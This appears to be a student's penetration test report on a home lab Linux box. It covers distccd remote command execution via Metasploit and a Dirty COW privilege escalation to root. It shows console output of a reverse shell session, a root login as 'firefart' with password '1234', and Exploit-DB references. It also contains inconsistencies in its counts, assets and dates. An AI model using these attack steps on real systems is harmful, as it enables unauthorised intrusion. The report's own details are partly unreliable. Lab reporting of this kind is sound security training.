

# Penetration Testing Report

**Client:** Home project-1.

**Engagement Period:** October 15 - 17,2025.

**Prepared By:** Ahnaf Abid Mahi

**Submission Date:** October 18,2025.

## **Confidentiality Notice:**

*This report contains sensitive information. Unauthorized sharing or distribution is strictly prohibited.*

## **Table of Contents**

1. Executive Summary
2. Introduction
3. Methodology
4. Findings
5. Recommendations
6. Conclusion

## **1. Executive Summary**

### **Objective of the Test**

The objective of the penetration test was to identify security vulnerabilities of a “Linux System” and the prevention methods from the vulnerabilities.

## Scope

- **Network:** IP range 192.168.71.130

## High-Level Findings

- Total vulnerabilities: 4
  - Critical: 3
  - High: 1

**Overall Risk Rating: Critical**

## Recommendations

- Immediately address critical vulnerabilities, such CVE-2016-5195(Dirty Cow), CVE-2017-7533(inotfiy), CVE-2015-1328(Overlayfs).
- Implement a high security patch management system.

## 2. Introduction

### Purpose of the Test

To evaluate the security posture of a lab’s ensuring protection against potential cyber threats.

### Methodology Used

We followed the **OWASP Testing Guide** and **PTES (Penetration Testing Execution Standard)**. The engagement included both manual and automated testing.

## Scope of Work

- **Web Application:** <http://192.168.71.130>

## Limitations

- Testing was not conducted during business hours to avoid disruption (Like professionally).
- Certain DDoS techniques were not used due to the risk of system instability.

## 3. Methodology

### 1. Reconnaissance

- Identified open ports with Nmap.

### 2. Exploitation

- CVE : 2004-2687 (distccd)for initial access.

### 3. Post-Exploitation

- CVE-2016-5195(Dirty Cow) Privilege Escalation(root)

### 4. Reporting

- Documented all findings with PoC evidence.
-

## 4. Findings

### Summary of Findings

Severity	Count	Example Vulnerabilities
Critical	3	CVE-2016-5195(Dirty Cow), CVE-2017-7533(inotfiy), CVE-2015-1328(Overlayfs). Privilege Escalation
High	1	CVE : 2004-2687 (distccd)for initial access.

### Detailed Findings

#### *Finding 1 CVE-2016-5195(Dirty Cow), Privilege Escalation*

- **Severity:** Critical
- **Description:** Can get root access.
- **Affected Asset:** <http://192.168.71.130>
- **Proof of Concept (PoC):**  
Endpoint:

```
firefart@192.168.71.130's password: 1234

Linux localhost 3.2.0-4-686-pae #1 SMP Debian 3.2.65-1 i686

The programs included with the Debian GNU/Linux system are free
software;
the exact distribution terms for each program are described in t
he
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the exten
t
permitted by applicable law.
firefart@localhost:~# id
id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@localhost:~# pwd
pwd
/root
firefart@localhost:~# |
```

## Exploit:

The screenshot shows the Exploit-DB interface for the exploit 'Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE\_POKE\_DATA' Race Condition Privilege Escalation (/etc/passwd Method)'. The interface includes a search bar at the top, a list of exploits, and a detailed view of the selected exploit. The detailed view shows the following information:

EDB-ID:	CVE:	Author:	Type:	Platform:	Date:
40839	2016-5195	FIREFART	LOCAL	LINUX	2016-11-28

Additional information shown includes 'EDB Verified: ✓', 'Exploit: 📄 / {}', and 'Vulnerable App: 📱'.

- **Impact:** Full system compromise with root access, leading to potential data theft.
- **Recommendation:** Apply vendor security updates / kernel patch immediately.

**Finding 2:** CVE : 2004-2687 for initial access.

- **Severity:** High
- **Description:** Sensitive Data Exposures lead to initial access
- **Affected Asset:** <http://192.168.71.130>
- **Proof of Concept (PoC):**

Endpoint:

```
msf6 exploit(unix/misc/distcc_exec) > run
[*] Started reverse TCP handler on 192.168.71.129:4444
[*] 192.168.71.130:3632 - stderr: distccd[2146] (dcc_collect_child) ERROR: Bug! Read from fd succeeded when checking whether client disconnected!
[*] Command shell session 1 opened (192.168.71.129:4444 → 192.168.71.130:45509) at 2025-09-28 12:45:47 -0400

whoami
distccd
id
uid=106(distccd) gid=65534(nogroup) groups=65534(nogroup)
```

Exploit:

The screenshot shows the Exploit Database interface for the 'DistCC Daemon - Command Execution (Metasploit)' entry. The header includes the Exploit Database logo and navigation icons. The main content area displays the following details:

EDB-ID:	CVE:	Author:	Type:	Platform:	Date:
9915	2004-2687	H D MOORE	REMOTE	MULTIPLE	2002-02-01

Below the table, there are three sections:

- EDB Verified:** ✓
- Exploit:** 📄 / {}
- Vulnerable App:**

Navigation arrows (← and →) are visible at the bottom of the entry card.

- **Impact:** Initial Access to all distccd user's files, leading to potential data theft.
- **Recommendation:** Restrict port permission for distccd user.

## 5. Recommendations

1. **Address Critical Issues:**
  - Update your system regularly.
  - Use WAF & EDR
2. **Patch Management:**
  - Update software regularly to fix known vulnerabilities.
3. **Security Awareness Training:**
  - Train employees on secure practices.
4. **Ongoing Monitoring:**
  - Implement continuous security monitoring tool.

## 6. Conclusion

The penetration test revealed several critical and high vulnerabilities that pose a significant risk to the target lab/box. Immediate remediation of these issues is required to enhance security. Regular testing and monitoring are recommended.